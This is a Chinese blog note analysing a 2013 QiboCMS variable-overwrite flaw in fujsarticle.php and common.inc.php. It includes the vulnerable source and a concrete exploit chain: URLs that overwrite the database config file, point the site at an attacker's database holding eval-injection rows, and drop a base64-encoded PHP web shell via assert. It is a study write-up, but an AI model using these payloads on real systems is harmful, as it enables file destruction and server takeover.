这天看一些经典的审计的例子,看到齐博cms的2013年的一个老洞,这个漏洞我感觉很经典,这里总结一下,记个笔记

这个漏洞是变量覆盖的漏洞

首先出问题的地方是fujsarticle.php,下面是是整个文件的内容:

<?php
error_reporting(0);extract($_GET);
require_once(dirname(__FILE__)."/../data/config.php");
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){die("类型有误");
}
$fid=intval($fid);
$aid=intval($aid);
$id=intval($id);
$FileName=dirname(__FILE__)."/../cache/fujsarticle_cache/";
if($type=='like'){$FileName.=floor($id/3000)."/";
}else{unset($id);
}$FileName.="{$type}_{$fid}_{$id}.php";
//默认缓存3分钟.
if(!$webdb["cache_time_$type"]){$webdb["cache_time_$type"]=3;
}
if( (time()-filemtime($FileName))<($webdb["cache_time_$type"]*60) ){@include($FileName);$show=str_replace(array("\n","\r","'"),array("","","\'"),stripslashes($show));if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐//处理跨域问题if($webdb[cookieDomain]){echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";}echo "<SCRIPT LANGUAGE=\"JavaScript\">parent.document.getElementById('$iframeID').innerHTML='$show';</SCRIPT>";}else{         //JS式会拖慢主页面打开速度,不推荐echo "document.write('$show');";}exit;
}require_once(dirname(__FILE__)."/global.php");//默认缓存3分钟.
if(!$webdb["cache_time_$type"]){$webdb["cache_time_$type"]=3;
}$rows>0 || $rows=7;
$leng>0 || $leng=60;unset($SQL,$show);//热门文章,推荐文章,最新文章
if($type=='hot'||$type=='com'||$type=='new'||$type=='lastview'||$type=='like'||$type=='pic')
{$erp=$Fid_db[iftable][$fid];if($fid){$f_id=get_fid($fid);$SQL=" (".implode("OR",$f_id).") ";}else{$SQL=" 1 ";}if($type=='com'){$SQL.=" AND A.levels=1 ";$ORDER=' A.list ';}elseif($type=='pic'){$SQL.=" AND A.ispic=1 ";$ORDER=' A.list ';}elseif($type=='hot'){$ORDER=' A.hits ';}elseif($type=='new'){$ORDER=' A.list ';}elseif($type=='lastview'){$ORDER=' A.lastview ';}elseif($type=='like'){$SQL.=" AND A.aid!='$id' ";if(!$keyword){$erp=get_id_table($id);extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article$erp WHERE aid='$id'"));}if($keyword){$detail=explode(" ",$keyword);unset($detail2,$ids);foreach( $detail AS $key=>$value){$value && $detail2[]=" B.keywords='$value' ";}$str=implode(" OR ",$detail2);if($str){unset($ids);$query = $db->query("SELECT A.aid FROM {$pre}keywordid A LEFT JOIN {$pre}keyword B ON A.id=B.id WHERE $str");while($rs = $db->fetch_array($query)){$ids[]=$rs[aid];}if($ids){$SQL.=" AND A.aid IN (".implode(",",$ids).") ";}else{$SQL.=" AND 0 ";}               }}else{$SQL.=" AND 0 ";}$ORDER=' A.list ';}if(!$webdb[viewNoPassArticle]){$SQL.=' AND A.yz=1 ';}$SQL="A LEFT JOIN {$pre}fu_article FA ON A.aid=FA.aid WHERE $SQL GROUP BY A.aid ORDER BY $ORDER DESC LIMIT $rows";$which='A.*';$listdb='';$array=list_article($SQL,$which,$leng,$erp);foreach($array AS $key=>$r){$listdb[$r[aid]]=$r;}if(is_file(ROOT_PATH."template/default/$webdb[SideTitleStyle].htm")){$tplcode=read_file(ROOT_PATH."template/default/$webdb[SideTitleStyle].htm");}else{$tplcode=read_file(ROOT_PATH."template/default/side_tpl/0.htm");}$tplcode=addslashes($tplcode);foreach($listdb AS $key=>$rs){//$target=$rs[target]?'_blank':'_self';$target='_blank';if($type=='pic'){$show.="<div class='p' style='float:left;width:130px;padding-left:5px;padding-top:5px;'>  <a href='bencandy.php?fid=$rs[fid]&id=$rs[aid]' style='display:block;width:120px;height:90px;border:1px solid #ccc;' target='$target'><img style='border:2px solid #fff;' width='120' height='90' src='$rs[picurl]' border='0'></a>  <A HREF='$webdb[www_url]/bencandy.php?fid=$rs[fid]&id=$rs[aid]' title='$rs[full_title]' target='$target'>$rs[title]</A>  </div>";}else{eval("\$show.=\"$tplcode\";");}       }if(!$show){$show="暂无...";}
}
$show=stripslashes($show);
//真静态
if($webdb[NewsMakeHtml]==1||$gethtmlurl){$show=make_html($show,$pagetype='N');//伪静态
}elseif($webdb[NewsMakeHtml]==2){$show=fake_html($show);
}$show=str_replace(array("\n","\r","'"),array("","","\'"),$show);if(!is_dir(dirname($FileName))){makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");
}if($iframeID){ //框架方式不会拖慢主页面打开速度,推荐//处理跨域问题if($webdb[cookieDomain]){echo "<SCRIPT LANGUAGE=\"JavaScript\">document.domain = \"$webdb[cookieDomain]\";</SCRIPT>";}echo "<SCRIPT LANGUAGE=\"JavaScript\">parent.document.getElementById('$iframeID').innerHTML='$show';</SCRIPT>";
}else{          //JS式会拖慢主页面打开速度,不推荐echo "document.write('$show');";
}
exit;function get_fid($fid){global $db,$pre;$fid=intval($fid);$F[]=" FA.fid=$fid ";$query = $db->query("SELECT fid FROM {$pre}fu_sort WHERE fup='$fid'");while($rs = $db->fetch_array($query)){$F[]=" FA.fid=$rs[fid] ";}return $F;
}?>

看到39行require_once(dirname(__FILE__)."/global.php");,这里在错误的位置引入了一个错误的文件,这个文件的引入导致下面未初始化的变量可以被覆盖,而利用的是$FileName,但是大家要问了,$FileName这个变量在上面已经初始化了呀,为什么还会被覆盖呢?

因为:

global.php文件包含的另一个文件导致问题产生:../inc/common.inc.php

这个文件我只贴出出问题的那部分:

<?php
error_reporting(7);
set_magic_quotes_runtime(0);if(function_exists('date_default_timezone_set')){date_default_timezone_set('Hongkong');}$speed_headtime=explode(' ',microtime());
$speed_headtime=$speed_headtime[0]+$speed_headtime[1];if(PHP_VERSION < '4.1.0') {$_GET = &$HTTP_GET_VARS;$_POST = &$HTTP_POST_VARS;$_COOKIE = &$HTTP_COOKIE_VARS;$_SERVER = &$HTTP_SERVER_VARS;$_ENV = &$HTTP_ENV_VARS;$_FILES = &$HTTP_POST_FILES;
}$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);function Add_S($array){foreach($array as $key=>$value){if(!is_array($value)){$value=str_replace("&#x","& # x",$value);  //过滤一些不安全字符$value=preg_replace("/eval/i","eva l",$value);   //过滤不安全函数!get_magic_quotes_gpc() && $value=addslashes($value);$array[$key]=$value;}else{$array[$key]=Add_S($array[$key]); }}return $array;
}if(!ini_get('register_globals')){@extract($_FILES,EXTR_SKIP);
}foreach($_COOKIE AS $_key=>$_value){unset($$_key);
}
foreach($_POST AS $_key=>$_value){!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}define('WEB_LANG','gb2312');       //utf-8 gb2312 big5
define('ROOT_PATH', substr(dirname(__FILE__), 0, -4).'/');
define('PHP168_PATH', ROOT_PATH);   //兼容旧程序$qibosoft_Edition="V7.0Final";ob_start();        //ob_start('ob_gzhandler');
header('Content-Type: text/html; charset='.WEB_LANG);$page && $page = intval($page);
$id && $id = intval($id);
$aid && $aid = intval($aid);
$rid && $rid = intval($rid);
$fid && $fid = intval($fid);
$cid && $cid = intval($cid);
if(!defined('IS_ADMIN'))unset($listdb,$array,$rs);
unset($webdb,$Html_Type,$erp,$ltitle,$memberlevel,$showHtml_Type,$chdb,$fidDB,$rsdb,$ModuleDB,$city_DB,$Mdomain,$Murl,$choose_class,$foot_tpl,$head_tpl);
require(ROOT_PATH.'data/config.php');

主要的地方是:

foreach($_COOKIE AS $_key=>$_value){unset($$_key);
}
foreach($_POST AS $_key=>$_value){!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

我写了个小程序来验证上面那几行代码的魔力:

<?php
$aaa=1232413;
echo "进入之前:".$aaa;
echo "<br>";
//--------------------邪恶代码分割线------------------------------------
foreach($_COOKIE AS $_key=>$_value){unset($$_key);
}
foreach($_POST AS $_key=>$_value){!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){!preg_match("/^\_[A-Z]+/",$_key) && $$_key=$_GET[$_key];
}
//--------------------邪恶代码分割线------------------------------------$aaa;echo "进入之后:".$aaa;
echo "<br>";

访问:http://localhost/test.php?aaa=testtest

结果是:

进入之前:1232413进入之后:testtest

发现虽然$aaa虽然在最开始的时候初始化了,但是邪恶代码下面没有再次初始化的话就会被邪恶代码传进来的参数覆盖掉

fujsarticle.php也一样的道理,理解上面的实验程序之后,发现39行代码(require_once(dirname(__FILE__)."/global.php");)下面的$FileName没有被再次初始化,然后后面的$FileName就可以被控制,最后$FileName被传递到了174行(write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");)

这样就可以覆盖任意文件了,这里我们要覆盖的文件是:/data/mysql_config.php

访问这样的链接:http://xxxxxxx/do/fujsarticle.php?type=like&FileName=../data/mysql_config.php&submit=123  就可以把/data/mysql_config.php 覆盖为<?php $show=stripslashes(’暂无...‘); ?>

这样,网站就的数据库配置文件就被覆盖了,有漏洞的网站就会显示数据库连接错误

这个就为我们下面的利用创造了条件:

下面的被利用的文件是:/do/jf.php

下面是jf.php的内容:

<?php
require(dirname(__FILE__)."/"."global.php");$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){$fnameDB[$rs[fid]]=$rs[name];$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");while($rs2 = $db->fetch_array($query2)){eval("\$rs2[title]=\"$rs2[title]\";");eval("\$rs2[content]=\"$rs2[content]\";");$jfDB[$rs[fid]][]=$rs2;}
}require(ROOT_PATH."inc/head.php");
require(html("jf"));
require(ROOT_PATH."inc/foot.php");?>

这里在12行和13行看到,数据库把查询出的数据库直接放入eval这个函数中,

因为数据库配置文件被覆盖成无效的文件,所以邪恶代码下面的数据库配置变量,包括数据库地址,数据库用户名,数据库用户密码等都变成了未初化的变量,这些变量就能被任意覆盖,这个我们就可以让网站连接我们自己的数据库服务器,只要数据库的表:qb_jfabout包含恶意代码就可以拿到shell了

首先我们先在我们自己的数据库中创建两个表:

qb_jfabout:

id  |  fid  |  list  | title                                          |  content

1   |  1    |   1    |  "+$_GET[a]($_GET[b]);+"  |  "+$_GET[a]($_GET[b]);+"

qb_jfsort:

id  |  fid  |  name  |  list

1   |  1    |  1          |  1

关于eval函数有个坑:

首先观察下面的例子:

<?php
$string = "beautiful";
$time = "winter";$str = 'This is a $string $time morning!';
echo $str. "<br />";eval("\$str = \"$str\";");
echo $str;
?> 

输出是:

This is a $string $time morning!
This is a beautiful winter morning! 

也就是说,字符串输出在双引号之内的,eval都会将其看成为普通的字符串,但是输出在双引号之外的就会当成代码来执行

所以我放在数据库的恶意代码是:"+$_GET[a]($_GET[b]);+"  ,目的是闭合前面的双引号,然后执行代码,再闭合后面的双引号

最后我访问:

http://xxxxxxxxx/do/jf.php?dbuser=自己的数据库用户名&dbhost=自己的数据库地址&dbpw=自己的数据库密码&dbname=自己数据库创建的数据库名&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

访问之后就会在/do目录下生成一个一句话木马c.php

齐博cms老漏洞分析相关推荐

  1. php代码审计【24】齐博CMS xss 漏洞漏洞

    一.以前安装过,我这先验证下漏洞 注册普通账号权限: 进入到会员中心的短消息: 这里给管理员发送短消息:  管理员登录后点击我们发的消息: 直接实际测试: 我们后台已经拿到cookie了 利用获取的c ...

  2. 齐博cms 7.0 漏洞分析

    ** 0x01 原理分析 ** 还是很早之前爆出来的漏洞,现在拿出来学习一下,参考阿里巴巴: https://security.alibaba.com/... 漏洞发生在/inc/common.inc ...

  3. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

  4. 齐博cms任意登陆漏洞

    为什么80%的码农都做不了架构师?>>>    收集下,以后估计有用得到的时候 齐博cms整站系统(原PHP168)配置不当导致任意用户登陆,比如cms管理员等. 详细说明: 还是由 ...

  5. php齐博cms,齐博CMS splitword.php后门解密

    齐博CMS是一款非常优秀的内容管理系统,但也不得不说其后门事件也层出不穷,本文就解密齐博代码来看他的后门.Y2hlbmdzaGlzLmMjd=phpinfo(); 笔者找了去年某云5月爆出的远程命令执 ...

  6. l1l1llll1 php,齐博CMS splitword.php后门解密

    齐博CMS是一款非常优秀的内容管理系统,但也不得不说其后门事件也层出不穷,本文就解密齐博代码来看他的后门.Y2hlbmdzaGlzLmMjd=phpinfo(); 笔者找了去年某云5月爆出的远程命令执 ...

  7. 齐博 src=/do/js.php?id=775,齐博CMS存储型XSS可getshell(组合利用)

    齐博cms,利用威胁不大的前台存储型xss+没有任何危害的后台CSRF+几乎无影响可忽略的后台getshell 3个0day 结合起来的威力拿下齐博cms,虽然不算什么严重的漏洞,但是中途遇到的问题和 ...

  8. “百度杯”CTF比赛 九月场_再见CMS(齐博cms)

    题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...

  9. 齐博模板直接写mysql_齐博CMS使用常见问题和技巧汇总

    齐博CMS技巧:分享风格如何把标签内容也分享 除了风格配置文件/data/style/xxx.php与模板目录/template/xxx/及图片CSS目录/images/XXX/之外,大家平时最容易忽 ...

最新文章

  1. valve 的设计_向Valve Portal开发人员学习游戏设计原则
  2. Jsp实现图书馆借阅管理系统
  3. 鹅厂2020暑期实习第一次一面
  4. laravel实现数据库读写分离配置或者多读写分离配置
  5. Bootstrap系列 -- 37. 基础导航样式
  6. 软件工程概论 课堂练习【空调维修系统 类图】
  7. C++中c_str的用法
  8. 手动抽油机_察雅县抽油机钢丝绳橡胶皮带生产厂家
  9. 拉链法导致的链表过深问题为什么不用二叉查找树代替,而选择红黑树?为什么不一直使用红黑树?
  10. [css] 固定的外框尺寸,里面的图片尺寸不固定,如何让图像自适应外框呢?
  11. 计算机英语词组,计算机专业英语词组.doc
  12. mysql: you can't specify target table 问题解决
  13. Fourier分析基础(二)——由级数导出连续Fourier变换
  14. Linux下解决无法远程连接数据库问题
  15. 阿里百川SDK初始化失败 错误码是203
  16. VB中,连接ACCESS数据库
  17. 教你怎么录制电脑内部发出的声音
  18. 基于java的自驾游自助游旅游网站
  19. 关于Flutter空安全的一些使用经验和理解
  20. 高中生参加的计算机奥赛是,高中生可参加哪些含金量较高的赛事?报名流程指南来了!...

热门文章

  1. php将您重定向的次数过多,Laravel路线重定向次数过多
  2. qi接收启动协议_TCP协议详解 - TCP服务的特点
  3. GIS相交时报错未找到表
  4. 解封你的微信外挂服务器,微信自助工具解封操作方法
  5. 【软件工程师学硬件】之 振荡器(2)
  6. ACCESS数据库使用sql语句创建表
  7. Unity 消灭病毒(98K)—2
  8. 小米败诉,涉违法解除劳动合同!
  9. 数据结构————带头结点单链表讲解
  10. 计算机设备机房防静电标准,计算机房的防静电技术